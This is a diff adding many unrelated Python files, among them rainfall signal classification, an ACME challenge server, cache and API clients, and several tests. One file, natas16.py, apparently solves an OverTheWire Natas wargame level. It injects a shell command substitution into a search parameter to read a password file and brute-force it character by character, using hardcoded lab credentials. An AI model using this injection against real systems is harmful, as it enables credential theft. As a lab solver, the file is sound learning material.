Gets computed if not given (Default is None) + f : array of float, optional + Frequencies corresponding to the rows in Pxx. + Gets computed if not given. (Default is None) + f_sampling : float, optional + Sampling frequency (samples per time unit). It is used to calculate + the Fourier frequencies, freqs, in cycles per time unit. + (Default is 1/60.0) + mirror : bool + + Returns + ------- + iterable of int + Time series of wet/dry classification + dict + Dictionary holding information about the classification + + Note + ---- + Implementation of Rolling Fourier-transform method [2]_ + + References + ---------- + .. [2] Chwala, C., Gmeiner, A., Qiu, W., Hipp, S., Nienaber, D., Siart, U., + Eibert, T., Pohl, M., Seltmann, J., Fritz, J. and Kunstmann, H.: + "Precipitation observation using microwave backhaul links in the + alpine and pre-alpine region of Southern Germany", Hydrology + and Earth System Sciences, 16, 2647-2661, 2012 + + """ + + # Calculate spectrogram Pxx if it is not supplied as function argument + if Pxx is None: + # Set up sliding window for STFT + if mirror: + # Window length has to be even + if window_length % 2 == 0: + NFFT = window_length + else: + NFFT = window_length + 1 + else: + NFFT = window_length + + if window is None: + window = np.hamming(window_length) + + # Calculate spectrogram using STFT + Pxx, f, t = specg( + rsl, NFFT=NFFT, Fs=f_sampling, noverlap=NFFT - 1, window=window + ) + + elif Pxx is not None and f is not None: + print("Skipping spectrogram calculation and using supplied Pxx") + # + # TODO: check that Pxx has the correct size + # + # ..... assert len(Pxx[0]) == len(rsl) - window_length + elif Pxx is not None and f is None: + raise ValueError("You have to supply f if you supply Pxx") + else: + raise ValueError("This should be impossible") + + # Add NaNs as the missing spectral data at the beginning and end of + # the time series (stemming from the window length) + N_diff = len(rsl) - len(Pxx[0]) + N_missing_start = np.floor(N_diff / 2) + + if mirror: + for i in range((len(rsl) - 1) - (NFFT / 2 - 1), len(rsl)): + rsl_mirr = np.concatenate( + (rsl[i - (NFFT / 2 - 1) : i], rsl[i - (NFFT / 2 - 1) : i][::-1]) + ) + Pxx_mirr, f, t = specg( + rsl_mirr, NFFT=NFFT, Fs=f_sampling, noverlap=NFFT - 1, window=window + ) + + if i == (len(rsl) - 1) - (NFFT / 2 - 1): + Pxx_end = Pxx_mirr + else: + Pxx_end = np.append(Pxx_end, Pxx_mirr, 1) + Pxx_extended = np.concatenate( + (nans([len(Pxx), N_missing_start]), Pxx, Pxx_end), 1 + ) + else: + N_missing_end = N_diff - N_missing_start + Pxx_extended = np.concatenate( + (nans([len(Pxx), N_missing_start]), Pxx, nans([len(Pxx), N_missing_end])), 1 + ) + + if (t_dry_start is None) and (t_dry_stop is None) and (dry_length is not None): + # Find dry period + t_dry_start, t_dry_stop = find_lowest_std_dev_period(rsl, dry_length) + elif ( + (t_dry_start is not None) and (t_dry_stop is not None) and (dry_length is None) + ): + # Do nothing, since t_dry_start and t_dry_stop are defined + pass + else: + raise AttributeError( + "Either `t_dry_start` and `t_dry_stop` or " + "`dry_length` have to be supplied." + ) + + # Calculate mean dry spectrum + P_dry_mean = np.nanmean(Pxx_extended[:, t_dry_start:t_dry_stop], axis=1) + + # Normalize the power spectrogram with the mean dry spectrum. + # The array([...]) syntax is needed to transpose P_dry_mean to + # a column vector (1D arrays cannot be transposed in Numpy) + P_norm = Pxx_extended / np.array([P_dry_mean]).T + + i_f_divide_low = np.where(f <= f_divide) + i_f_divide_high = np.where(f > f_divide) + N_f_divide_low = len(i_f_divide_low) + N_f_divide_high = len(i_f_divide_high) + + P_norm_low = np.mean(P_norm[i_f_divide_low], axis=0) + P_norm_high = np.mean(P_norm[i_f_divide_high], axis=0) + P_sum_diff = P_norm_low / N_f_divide_low - P_norm_high / N_f_divide_high + + nan_index = np.isnan(P_sum_diff) + wet = np.zeros_like(P_sum_diff, dtype=np.bool) + wet[~nan_index] = P_sum_diff[~nan_index] > threshold + + info = { + "P_norm": P_norm, + "P_sum_diff": P_sum_diff, + "Pxx": Pxx_extended, + "P_dry_mean": P_dry_mean, + "f": f, + } + + return wet, info + + +def find_lowest_std_dev_period(rsl, window_length=600): + + """Find beginning and end of dry period + + Parameters + ---------- + rsl : iterable of float + Time series of received signal level + window_length : int, optional + Length of window for identifying dry period (Default is 600) + + Returns + ------- + int + Index of beginning of dry period + int + Index of end of dry period + + """ + + roll_std_dev = pd.DataFrame(rsl).rolling(window_length).std() + dry_stop = mlab.find(roll_std_dev == np.nanmin(roll_std_dev)) + dry_stop = dry_stop[0] + dry_start = dry_stop - window_length + return dry_start, dry_stop + + +#################### +# Helper functions # +#################### + + +def nans(shape, dtype=float): + """Helper function for wet/dry classification""" + a = np.empty(np.asarray(shape, dtype=int), dtype) + a.fill(np.nan) + return a diff --git a/pool/shard009/Python/0082548_natas16.py b/pool/shard009/Python/0082548_natas16.py new file mode 100644 index 0000000000000000000000000000000000000000..e039661651a7da0a17d21248679b0b48a616eb7f --- /dev/null +++ b/pool/shard009/Python/0082548_natas16.py @@ -0,0 +1,26 @@ +# -*- coding: utf-8 -*- +import string +import requests + +URL = 'http://natas16.natas.labs.overthewire.org/?needle=a&submit=Search' +AUTH = ('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh') + +def main(): + password = '' + while True: + for c in string.printable: + params = { 'needle': "$(grep -E ^" + password + c + " /etc/natas_webpass/natas17)Yankees", 'submit': 'Search' } + r = requests.get(URL, auth=AUTH, params=params) + + if not 'Yankees' in r.text: + password += c + print "[+] password: %s" % password + break + if len(password) == 32: + break + +if __name__ == '__main__': + try: + main() + except KeyboardInterrupt: + pass diff --git a/pool/shard009/Python/0082552_standalone.py b/pool/shard009/Python/0082552_standalone.py new file mode 100644 index 0000000000000000000000000000000000000000..49759bc0770cb9e034495a1a0ae3cfc56b38c478 --- /dev/null +++ b/pool/shard009/Python/0082552_standalone.py @@ -0,0 +1,199 @@ +"""Support for standalone client challenge solvers. """ +import argparse +import collections +import functools +import logging +import os +import socket +import sys + +import six +from six.moves import BaseHTTPServer # pylint: disable=import-error +from six.moves import http_client # pylint: disable=import-error +from six.moves import socketserver # pylint: disable=import-error + +import OpenSSL + +from acme import challenges +from acme import crypto_util + + +logger = logging.getLogger(__name__) + +# six.moves.* | pylint: disable=no-member,attribute-defined-outside-init +# pylint: disable=too-few-public-methods,no-init + + +class TLSServer(socketserver.TCPServer): + """Generic TLS Server.""" + + def __init__(self, *args, **kwargs): + self.certs = kwargs.pop("certs", {}) + self.method = kwargs.pop( + # pylint: disable=protected-access + "method", crypto_util._DEFAULT_DVSNI_SSL_METHOD) + self.allow_reuse_address = kwargs.pop("allow_reuse_address", True) + socketserver.TCPServer.__init__(self, *args, **kwargs) + + def _wrap_sock(self): + self.socket = crypto_util.SSLSocket( + self.socket, certs=self.certs, method=self.method) + + def server_bind(self): # pylint: disable=missing-docstring + self._wrap_sock() + return socketserver.TCPServer.server_bind(self) + + +class ACMEServerMixin: # pylint: disable=old-style-class + """ACME server common settings mixin.""" + # TODO: c.f. #858 + server_version = "ACME client standalone challenge solver" + allow_reuse_address = True + + def __init__(self): + self._stopped = False + + def serve_forever2(self): + """Serve forever, until other thread calls `shutdown2`.""" + logger.debug("Starting server at %s:%d...", + *self.socket.getsockname()[:2]) + while not self._stopped: + self.handle_request() + + def shutdown2(self): + """Shutdown server loop from `serve_forever2`.""" + self._stopped = True + + # dummy request to terminate last server_forever2.handle_request() + sock = socket.socket() + try: + sock.connect(self.socket.getsockname()) + except socket.error: + pass # thread is probably already finished + finally: + sock.close() + + self.server_close() + + +class DVSNIServer(TLSServer, ACMEServerMixin): + """DVSNI Server.""" + + def __init__(self, server_address, certs): + ACMEServerMixin.__init__(self) + TLSServer.__init__( + self, server_address, socketserver.BaseRequestHandler, certs=certs) + + +class SimpleHTTPServer(BaseHTTPServer.HTTPServer, ACMEServerMixin): + """SimpleHTTP Server.""" + + def __init__(self, server_address, resources): + ACMEServerMixin.__init__(self) + BaseHTTPServer.HTTPServer.__init__( + self, server_address, SimpleHTTPRequestHandler.partial_init( + simple_http_resources=resources)) + + +class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): + """SimpleHTTP challenge handler. + + Adheres to the stdlib's `socketserver.BaseRequestHandler` interface. + + :ivar set simple_http_resources: A set of `SimpleHTTPResource` + objects. TODO: better name? + + """ + SimpleHTTPResource = collections.namedtuple( + "SimpleHTTPResource", "chall response validation") + + def __init__(self, *args, **kwargs): + self.simple_http_resources = kwargs.pop("simple_http_resources", set()) + socketserver.BaseRequestHandler.__init__(self, *args, **kwargs) + + def do_GET(self): # pylint: disable=invalid-name,missing-docstring + if self.path == "/": + self.handle_index() + elif self.path.startswith("/" + challenges.SimpleHTTP.URI_ROOT_PATH): + self.handle_simple_http_resource() + else: + self.handle_404() + + def handle_index(self): + """Handle index page.""" + self.send_response(200) + self.send_header("Content-Type", "text/html") + self.end_headers() + self.wfile.write(self.server.server_version.encode()) + + def handle_404(self): + """Handler 404 Not Found errors.""" + self.send_response(http_client.NOT_FOUND, message="Not Found") + self.send_header("Content-type", "text/html") + self.end_headers() + self.wfile.write(b"404") + + def handle_simple_http_resource(self): + """Handle SimpleHTTP provisioned resources.""" + for resource in self.simple_http_resources: + if resource.chall.path == self.path: + logger.debug("Serving SimpleHTTP with token %r", + resource.chall.encode("token")) + self.send_response(http_client.OK) + self.send_header("Content-type", resource.response.CONTENT_TYPE) + self.end_headers() + self.wfile.write(resource.validation.json_dumps().encode()) + return + else: # pylint: disable=useless-else-on-loop + logger.debug("No resources to serve") + logger.debug("%s does not correspond to any resource. ignoring", + self.path) + + @classmethod + def partial_init(cls, simple_http_resources): + """Partially initialize this handler. + + This is useful because `socketserver.BaseServer` takes + uninitialized handler and initializes it with the current + request. + + """ + return functools.partial( + cls, simple_http_resources=simple_http_resources) + + +def simple_dvsni_server(cli_args, forever=True): + """Run simple standalone DVSNI server.""" + logging.basicConfig(level=logging.DEBUG) + + parser = argparse.ArgumentParser() + parser.add_argument( + "-p", "--port", default=0, help="Port to serve at. By default " + "picks random free port.") + args = parser.parse_args(cli_args[1:]) + + certs = {} + + _, hosts, _ = next(os.walk('.')) + for host in hosts: + with open(os.path.join(host, "cert.pem")) as cert_file: + cert_contents = cert_file.read() + with open(os.path.join(host, "key.pem")) as key_file: + key_contents = key_file.read() + certs[host.encode()] = ( + OpenSSL.crypto.load_privatekey( + OpenSSL.crypto.FILETYPE_PEM, key_contents), + OpenSSL.crypto.load_certificate( + OpenSSL.crypto.FILETYPE_PEM, cert_contents)) + + server = DVSNIServer(('', int(args.port)), certs=certs) + six.print_("Serving at https://localhost:{0}...".format( + server.socket.getsockname()[1])) + if forever: # pragma: no cover + server.serve_forever() + else: + server.handle_request() + + +if __name__ == "__main__": + sys.exit(simple_dvsni_server(sys.argv)) # pragma: no cover diff --git a/pool/shard009/Python/0082558_simple_cache.py b/pool/shard009/Python/0082558_simple_cache.py new file mode 100644 index 0000000000000000000000000000000000000000..c3e691517926a3dcda8e6c5579e4cd7becd3acec --- /dev/null +++ b/pool/shard009/Python/0082558_simple_cache.py @@ -0,0 +1,55 @@ +#-*- coding: utf-8 -*- + +""" EOSS catalog system + Simple dictionary based Cache backend for dogpile +""" + +__author__ = "Thilo Wehrmann, Steffen Gebhardt" +__copyright__ = "Copyright 2016, EOSS GmbH" +__credits__ = ["Thilo Wehrmann", "Steffen Gebhardt"] +__license__ = "GPL" +__version__ = "1.0.0" +__maintainer__ = "Thilo Wehrmann" +__email__ = "twehrmann@eoss.cloud" +__status__ = "Production" + +import logging + +from dogpile.cache import make_region +from dogpile.cache import register_backend +from dogpile.cache.api import CacheBackend, NO_VALUE +from dogpile.cache.proxy import ProxyBackend + +logger = logging.getLogger(__name__) + + +class LoggingProxy(ProxyBackend): + def set(self, key, value): + logger.debug('Setting Cache Key: %s' % key) + self.proxied.set(key, value) + + +class DictionaryBackend(CacheBackend): + def __init__(self, arguments): + self.cache = {} + + def get(self, key): + return self.cache.get(key, NO_VALUE) + + def set(self, key, value): + self.cache[key] = value + + def delete(self, key): + self.cache.pop(key) + + +def prepare_cache(): + register_backend("dictionary", "client.services.simple_cache", "DictionaryBackend") + + region = make_region("myregion") + region.configure("dictionary", wrap=[LoggingProxy]) + + return region + + +region = prepare_cache() diff --git a/pool/shard009/Python/0082565_pubsublite_v1_generated_topic_stats_service_compute_head_cursor_async.py b/pool/shard009/Python/0082565_pubsublite_v1_generated_topic_stats_service_compute_head_cursor_async.py new file mode 100644 index 0000000000000000000000000000000000000000..bac82d8e2941eb4a5925a7d7b32318fc1be4a52f --- /dev/null +++ b/pool/shard009/Python/0082565_pubsublite_v1_generated_topic_stats_service_compute_head_cursor_async.py @@ -0,0 +1,46 @@ +# -*- coding: utf-8 -*- +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Generated code. DO NOT EDIT! +# +# Snippet for ComputeHeadCursor +# NOTE: This snippet has been automatically generated for illustrative purposes only. +# It may require modifications to work in your environment. + +# To install the latest published package dependency, execute the following: +# python3 -m pip install google-cloud-pubsublite + + +# [START pubsublite_v1_generated_TopicStatsService_ComputeHeadCursor_async] +from google.cloud import pubsublite_v1 + + +async def sample_compute_head_cursor(): + # Create a client + client = pubsublite_v1.TopicStatsServiceAsyncClient() + + # Initialize request argument(s) + request = pubsublite_v1.ComputeHeadCursorRequest( + topic="topic_value", + partition=986, + ) + + # Make the request + response = await client.compute_head_cursor(request=request) + + # Handle the response + print(response) + +# [END pubsublite_v1_generated_TopicStatsService_ComputeHeadCursor_async] diff --git a/pool/shard009/Python/0082569_mcrud.py b/pool/shard009/Python/0082569_mcrud.py new file mode 100644 index 0000000000000000000000000000000000000000..e56943f548155caab6e1ac82a9b31a87d9d2b846 --- /dev/null +++ b/pool/shard009/Python/0082569_mcrud.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python +from __future__ import print_function +from itertools import islice +import sys +import argparse +import json + +from merlin import Merlin, Uploader +from merlin.search import Search +from merlin.filter import Field, NF +from merlin.upload import Add, Update, Delete + +def add_creds(parser): + parser.add_argument("--username", required=True, + help="Username credential") + parser.add_argument("--authtoken", required=True, + help="Authentication token") + +def add_doc_group(parser, verb, ids_ok=False): + group = parser.add_mutually_exclusive_group(required=True) + group.add_argument("--json-docs", dest="jDocs", nargs="+", type=jtype, + help="Documents to %s, in json format" % verb) + group.add_argument("--file", dest="inFile", + help="File containing documents in json format, one per line, to %s" % verb) + if ids_ok: + group.add_argument("--doc-ids", dest="docIds", nargs="+", + help="Document IDs to %s" % verb) + +def add_batch(parser): + parser.add_argument("--batch-size", dest="batchSize", default=1000, type=int, + help="Batch size for large scale operations") + +def add_all(parser, verb, ids_ok=False): + add_creds(parser) + add_doc_group(parser, verb, ids_ok) + add_batch(parser) + +def jtype(d): + return json.loads(d) + +def build_arg_parser(): + parser = argparse.ArgumentParser(description='Command line tool for managing search') + parser.add_argument("--instance", dest="instance", required=True, + help="Full instance name: eg. blackbird.dev.foobar") + parser.add_argument("--index", dest="index", default="products", + help="Index to use. By default, uses subjects") + + parser.add_argument("--host", dest="host", + help="Host to use. If omitted, uses default.") + parser.add_argument("--no-ssl", dest="use_ssl", action="store_false", + help="Use plain http") + + # Sub commands + subparsers = parser.add_subparsers(dest='command', + help="Available merlin CRUD operations") + + # Delete + delete = subparsers.add_parser("delete", help="Delete a set of documents") + add_all(delete, 'delete', True) + + # Update + update = subparsers.add_parser("update", help="Update a set of documents") + add_all(update, 'update') + + # Add + add = subparsers.add_parser("add", help="Adds a set of documents") + add_all(add, 'add') + + # Search + search = subparsers.add_parser("read", help="Reads all the fields for a "\ + "given set of documents") + + search.add_argument("--doc-ids", dest="docs", nargs="+", required=True, + help="Document IDs") + search.add_argument("--fields", dest="fields", nargs="+", + help="Fields to retrieve") + search.add_argument("--in-order", dest="inOrder", action="store_true", + help="Whether or not to return the results in order") + + return parser + +def pprint(data): + return json.dumps(data,sort_keys=True, indent=2, separators=(',', ': ')) + +def read(args): + company, env, instance = args.instance.split('.') + + engine = Merlin(company, env, instance, + host=args.host, use_ssl=args.use_ssl) + + docs = args.docs if not args.inOrder else [[d] for d in args.docs] + for docSet in docs: + s = Search( + filter=NF.cnf(Field('id') == docSet), + fields=args.fields, + index=args.index + ) + with engine(s) as results: + for hit in results.hits: + print(pprint(hit)) + +def readDocs(args): + if args.jDocs is not None: + for d in args.jDocs: + yield d + + elif args.inFile == '-': + for line in sys.stdin: + yield json.loads(line) + + elif hasattr(args, 'docIds') and args.docIds: + for d in args.docIds: + yield {"id": d} + else: + with file(args.inFile) as f: + for line in f: + yield json.loads(line) + +def batch(iterable, size): + it = iter(iterable) + sliceit = lambda it: list(islice(it, size)) + data = sliceit(it) + while data: + yield data + data = sliceit(it) + +def cud(args): + """ + Create, Update, Delete + """ + company, env, instance = args.instance.split('.') + engine = Uploader(company, env, instance, + username=args.username, + authtoken=args.authtoken, + host=args.host, + use_ssl=args.use_ssl + ) + + bs = args.batchSize + method = ({"add": Add, "update": Update, "delete": Delete})[args.command] + for i, docs in enumerate(batch(readDocs(args), bs)): + op = method(index=args.index) + for doc in docs: + op += doc + + with engine(op) as results: + if not results.success: + error = "Error processing documents %s-%s" % (i * bs, (i + 1) * bs) + print(error, file=sys.stderr) + print(results.msg, file=sys.stderr) + sys.exit(1) + + else: + print(results.msg) + +if __name__ == '__main__': + args = build_arg_parser().parse_args() + if args.command == 'read': + read(args) + else: + cud(args) diff --git a/pool/shard009/Python/0082572_mage.py b/pool/shard009/Python/0082572_mage.py new file mode 100644 index 0000000000000000000000000000000000000000..6d5c7b15998d60450ce5653d48313f2ca63815d5 --- /dev/null +++ b/pool/shard009/Python/0082572_mage.py @@ -0,0 +1,97 @@ +from __future__ import absolute_import, unicode_literals + +import json +import requests + +from temba.utils import analytics + + +class MageError(Exception): + def __init__(self, caused_by=None, error_code=None): + self.caused_by = caused_by + self.error_code = error_code + + def __unicode__(self): + return 'Caused by %s' % unicode(self.caused_by) if self.caused_by else 'Status code %d' % self.error_code + + def __str__(self): + return str(unicode(self)) + + +class MageClient(object): + """ + Simple client for API calls to a Message Mage instance + """ + def __init__(self, base_url, auth_token): + self.base_url = base_url + self.auth_token = auth_token + self.client = requests.Session() + + def get_twitter_streams(self): + return self._request('GET', 'twitter', {}) + + def get_twitter_stream(self, channel_uuid): + return self._request('GET', 'twitter/%s' % channel_uuid) + + def activate_twitter_stream(self, channel_uuid): + return self._request('POST', 'twitter', {'uuid': channel_uuid}) + + def refresh_twitter_stream(self, channel_uuid): + return self._request('POST', 'twitter/%s' % channel_uuid) + + def deactivate_twitter_stream(self, channel_uuid): + return self._request('DELETE', 'twitter/%s' % channel_uuid) + + def _request(self, method, endpoint, params=None): + url = self.base_url + if not url.endswith('/'): + url += '/' + url += endpoint + + method = method.lower() + func = getattr(self.client, method) + params = params or {} + + requests_args = { + 'headers': {'Authorization': 'Token %s' % self.auth_token} + } + + if method == 'get': + requests_args['params'] = params + else: + requests_args['data'] = params + + try: + response = func(url, **requests_args) + except requests.RequestException as e: + raise MageError(e) + + if response.status_code > 300: + raise MageError(error_code=response.status_code) + + if response.content: + return json.loads(response.content.decode('utf-8')) + else: + return '' + + +def mage_handle_new_message(org, msg): + """ + Messages created Mage are only saved to the database. Here we take care of the other stuff + """ + # Mage no longer assigns topups + if not msg.topup_id: + msg.topup_id = org.decrement_credit() + msg.save(update_fields=('topup_id',)) + + analytics.gauge('temba.msg_incoming_%s' % msg.channel.channel_type.lower()) + + +def mage_handle_new_contact(org, contact): + """ + Contacts created Mage are only saved to the database. Here we take care of the other stuff + """ + # possible to have dynamic groups based on name + contact.handle_update(attrs=('name',)) + + analytics.gauge('temba.contact_created') diff --git a/pool/shard009/Python/0082573_puts.py b/pool/shard009/Python/0082573_puts.py new file mode 100644 index 0000000000000000000000000000000000000000..03dcdabd1b9b21c6ed4adc1f32d5e7c980d946aa --- /dev/null +++ b/pool/shard009/Python/0082573_puts.py @@ -0,0 +1,54 @@ +#__ LGPL 3.0, 2014 Alexander Soloviev (no.friday@yandex.ru) + +from os.path import dirname, isdir, exists + +class Puts(object): + __slots__ = ('_Puts__base', '_Puts__file', '_Puts__seq', + '_Puts__written', '_Puts__label') + + def __init__(s, base, label = False): + s.__base = base + s.__file = None + s.__seq = -1 + s.__written = 0 + s.__label = label + + direcoty = dirname(base) + + if not isdir(direcoty): + raise Exception('does not exists=%s' % direcoty) + + def __ready__(s): return s.__file is not None + + def __seq__(s): return s.__seq + + def __stats__(s): return (s.__seq + 1, s.__written) + + def __call__(s, data): + s.__file.write(data) + + s.__written += len(data) + + def __enter__(s): return s + + def __exit__(s, Et, Ev, tb): + s.close() + + def next(s, suffix): + s.close() + + seqn = s.__seq + 1 + middle = ('_%02x' % seqn) if s.__label else '' + path = s.__base + middle + suffix + + if exists(path): + raise Exception('already exists=%s' % path) + + s.__file = open(path, 'wb') + s.__seq = seqn + + def close(s): + if s.__ready__(): + s.__file.close() + + s.__file = None diff --git a/pool/shard009/Python/0082574_setup.py b/pool/shard009/Python/0082574_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..c4464897e4677014564131c3ac8edc04ff3442d2 --- /dev/null +++ b/pool/shard009/Python/0082574_setup.py @@ -0,0 +1,59 @@ +from setuptools import setup, find_packages +from os import path +import re + +# Get current path +here = path.abspath(path.dirname(__file__)) + +# Get version from strikepackage.py +with open(path.join(here, 'clancy/clancy.py')) as f: + version_file = f.read() +version_match = re.search(r"^__version__ = ['\"]([^'\"]*)['\"]", + version_file, re.M) +if version_match: + version = version_match.group(1) +else: + raise RuntimeError("Unable to find version string.") + +# Get long description from README and HISTORY +with open(path.join(here, 'README.rst')) as f: + readme = f.read() +with open(path.join(here, 'HISTORY.rst')) as f: + history = f.read() + +# Dependencies +requires = [ + 'docopt', + 'kaptan', + 'requests', + 'schema', +] + +# Setup +setup( + name='clancy', + version=version, + description='A command line client for Red October.', + long_description=readme + '\n\n' + history, + author='Paul Liu', + author_email='paul@ferociouspings.com', + url='https://github.com/pwyliu/clancy', + license='MIT', + zip_safe=False, # fuck you egg + classifiers=[ + 'Development Status :: 3 - Alpha', + 'Intended Audience :: System Administrators', + 'Topic :: System :: Systems Administration', + 'License :: OSI Approved :: MIT License', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 2 :: Only', + 'Operating System :: POSIX :: Linux', + ], + keywords='Red October encryption security two man rule', + install_requires=requires, + include_package_data=True, + packages=find_packages(), + entry_points={ + 'console_scripts': ['clancy = clancy.clancy:main'] + }, +) \ No newline at end of file diff --git a/pool/shard009/Python/0082575_test_cfa.py b/pool/shard009/Python/0082575_test_cfa.py new file mode 100644 index 0000000000000000000000000000000000000000..5961217443a34610b1b59653a4649e41f44e6e79 --- /dev/null +++ b/pool/shard009/Python/0082575_test_cfa.py @@ -0,0 +1,75 @@ +# -*- coding: utf-8 -*- +from __future__ import print_function, division, absolute_import + +import unittest + +from pykit.parsing import from_c +from pykit.analysis import cfa +from pykit.ir import findop, opcodes, verify + +source = """ +#include + +double func_simple(double y) { + if (y > 5.0) + y = 5.0; + else + y = 2.0; + return y; +} + +double func(double y) { + Int32 i = 0; + + while (i < 10) { + if (i > 5) { + y = i; + } + i = i + 1; + } + + return y; +} +""" + +class TestCFA(unittest.TestCase): + + def test_cfg(self): + mod = from_c(source) + f = mod.get_function('func_simple') + verify(f) + flow = cfa.cfg(f) + + cond_block = findop(f, 'cbranch').block + self.assertEqual(len(flow[cond_block]), 2) + + def test_ssa(self): + mod = from_c(source) + f = mod.get_function('func_simple') + verify(f) + self.assertEqual(opcodes(f.startblock), + ['alloca', 'store', 'load', 'gt', 'cbranch']) + + # SSA + CFG = cfa.cfg(f) + cfa.ssa(f, CFG) + + assert len(f.blocks) == 4 + blocks = list(f.blocks) + self.assertEqual(opcodes(blocks[0]), ['gt', 'cbranch']) + self.assertEqual(opcodes(blocks[1]), ['jump']) + self.assertEqual(opcodes(blocks[2]), ['jump']) + self.assertEqual(opcodes(blocks[3]), ['phi', 'ret']) + + phi = findop(f, 'phi') + iblocks, ivals = phi.args + self.assertEqual(sorted(iblocks), sorted([blocks[1], blocks[2]])) + self.assertEqual(len(ivals), 2) + + def test_ssa2(self): + mod = from_c(source) + f = mod.get_function('func') + cfa.run(f) + verify(f) + codes = opcodes(f) + self.assertEqual(codes.count('phi'), 3) diff --git a/pool/shard009/Python/0082577_possible_company_duplicates.py b/pool/shard009/Python/0082577_possible_company_duplicates.py new file mode 100644 index 0000000000000000000000000000000000000000..57727049b74a25f7f345dff10dd60e6f6ea84095 --- /dev/null +++ b/pool/shard009/Python/0082577_possible_company_duplicates.py @@ -0,0 +1,136 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals +import re + +from django.core.management.base import BaseCommand +from django.utils.translation import activate +from django.db.utils import IntegrityError +from django.db.models import Q +from django.conf import settings + +from collections import defaultdict +from core.models import Company +from tasks.models import CompanyDeduplication +from Levenshtein import jaro +from itertools import combinations, product + + +class Command(BaseCommand): + help = ('Finds potential duplicates of companies in DB and ' + 'stores them as tasks for manual resolution') + + ignore_chars = re.escape(':-.)(",\'№«»') + + def cleanup(self, s): + return re.sub("[\s%s]" % self.ignore_chars, "", s or "") + + def cleanup_digits(self, s): + return re.sub("[\s%s\d]" % self.ignore_chars, "", s or "") + + def handle(self, *args, **options): + activate(settings.LANGUAGE_CODE) + all_companies = [] + + keys = ["pk", "code", "name", "name_en", "short_name", "short_name_en"] + + for p in Company.objects.all(): + all_companies.append(dict(zip(keys, [ + p.pk, + p.edrpou, + p.name_uk, + p.name_en, + p.short_name_uk, + p.short_name_en, + ]))) + + grouped_by_code = defaultdict(list) + grouped_by_name = defaultdict(list) + + # First pass: exact matches by code, full name or short name + for l in all_companies: + code = self.cleanup(l["code"]) + if len(code) > 2: + grouped_by_code[code].append(l["pk"]) + + for k in ["name", "name_en", "short_name", "short_name_en"]: + name = self.cleanup(l[k]) + + if len(name) > 3: + grouped_by_name[name].append(l["pk"]) + + spoiled_ids = set() + chunks_to_review = list() + + for k, v in grouped_by_code.items(): + if len(set(v)) > 1: + spoiled_ids |= set(v) + chunks_to_review.append(v) + + for k, v in grouped_by_name.items(): + if len(set(v)) > 1: + spoiled_ids |= set(v) + chunks_to_review.append(v) + + for chunk in chunks_to_review: + try: + CompanyDeduplication( + company1_id=chunk[0], + company2_id=chunk[1], + company1_json=Company.objects.get(pk=chunk[0]).to_dict(), + company2_json=Company.objects.get(pk=chunk[1]).to_dict(), + ).save() + except IntegrityError: + pass + + candidates_for_fuzzy = [ + l for l in all_companies + if l["pk"] not in spoiled_ids + ] + + for a, b in combinations(candidates_for_fuzzy, 2): + for field_a, field_b in product(["name", "short_name"], repeat=2): + val_a = self.cleanup(a[field_a]) + val_b = self.cleanup(b[field_b]) + if len(val_a) < 4 or len(val_b) < 4: + continue + + if self.cleanup_digits(a[field_a]) == self.cleanup_digits(b[field_b]): + continue + + score = jaro(val_a, val_b) + if score > 0.97: + try: + CompanyDeduplication( + company1_id=a["pk"], + company2_id=b["pk"], + company1_json=Company.objects.get(pk=a["pk"]).to_dict(), + company2_json=Company.objects.get(pk=b["pk"]).to_dict(), + fuzzy=True, + ).save() + break + except IntegrityError: + pass + + for field_a, field_b in product(["name_en", "short_name_en"], repeat=2): + val_a = self.cleanup(a[field_a]) + val_b = self.cleanup(b[field_b]) + if len(val_a) < 4 or len(val_b) < 4: + continue + + if self.cleanup_digits(a[field_a]) == self.cleanup_digits(b[field_b]): + continue + + score = jaro(val_a, val_b) + + if score > 0.97: + try: + CompanyDeduplication( + company1_id=a["pk"], + company2_id=b["pk"], + company1_json=Company.objects.get(pk=a["pk"]).to_dict(), + company2_json=Company.objects.get(pk=b["pk"]).to_dict(), + fuzzy=True, + ).save() + break + except IntegrityError: + pass diff --git a/pool/shard009/Python/0082581_datastore_write_it_test.py b/pool/shard009/Python/0082581_datastore_write_it_test.py new file mode 100644 index 0000000000000000000000000000000000000000..b8a290cfdf444c565e69b08c620c16305cbe87ef --- /dev/null +++ b/pool/shard009/Python/0082581_datastore_write_it_test.py @@ -0,0 +1,77 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +"""An integration test for datastore_write_it_pipeline + +This test creates entities and writes them to Cloud Datastore. Subsequently, +these entities are read from Cloud Datastore, compared to the expected value +for the entity, and deleted. + +There is no output; instead, we use `assert_that` transform to verify the +results in the pipeline. +""" + +from __future__ import absolute_import + +import logging +import random +import unittest +from datetime import datetime + +from hamcrest.core.core.allof import all_of +from nose.plugins.attrib import attr + +from apache_beam.testing.pipeline_verifiers import PipelineStateMatcher +from apache_beam.testing.test_pipeline import TestPipeline + +try: + from apache_beam.io.gcp.datastore.v1new import datastore_write_it_pipeline +# TODO(BEAM-4543): Remove TypeError once googledatastore dependency is removed. +except (ImportError, TypeError): + datastore_write_it_pipeline = None + + +class DatastoreWriteIT(unittest.TestCase): + + NUM_ENTITIES = 1001 + LIMIT = 500 + + def run_datastore_write(self, limit=None): + test_pipeline = TestPipeline(is_integration_test=True) + current_time = 